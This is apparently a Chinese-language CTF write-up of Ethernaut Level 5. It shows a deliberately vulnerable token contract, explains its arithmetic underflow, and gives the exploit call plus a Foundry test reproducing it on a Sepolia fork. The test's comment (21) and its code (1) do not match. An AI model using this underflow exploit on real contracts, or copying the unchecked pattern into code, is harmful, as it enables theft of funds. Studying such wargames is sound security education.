# Ethernaut CTF Level 5 - Token [toc] ## 題目 這一關的目標是駭入下面這個簡單的代幣合約。 你一開始會被給 20 個代幣。如果你找到方法增加你手中代幣的數量,你就可以通過這一關,當然代幣數量越多越好。 可能會有用的資訊 - 什麽是 odometer? ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } ``` <br> ## 分析 ODO meter是汽車的里程計數器,如果是5位數,里程最高可以記錄到99999 如果車子繼續開1公里,計數器會回到00000 這是個典型的 arithmetic overflow問題 套用到題目中也一樣,在0.8.0版本之前沒有針對數字overflow做檢查 <br> 攻擊思路重點擺在`transfer` function - 題目提到起始代幣是20 token 如果嘗試提領**21 token**,在第2行`require`檢查中 - `balances[msg.sender] - _value` 會變成0xfff....fff的形式 - 判斷會成立 接下來的`balances[msg.sender] -= _value;` 會導致balance變成很大的數字 ```solidity= function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } ``` <br> ## 攻擊 在Ethernaut console下輸入以下即可通過 ```solidity= await contract.transfer(instance, 21) ``` 可以看到balance改變了  <br> ## Foundry Test ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.0; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; import "../src/levels/05-Token/Token.sol"; contract ContractTest is Test { Token level5 = Token(payable(0x3d904B522B5658535f38566C354F1aa5B47fbAb7)); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x3d904B522B5658535f38566C354F1aa5B47fbAb7), "Ethernaut05" ); } function testEthernaut05() public { level5.balanceOf(address(this)); level5.transfer(address(0), 1); // initial balance[attacker] = 20, so minus 21 will underflow assert(level5.balanceOf(address(this)) > 20); } receive() external payable {} } ```
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up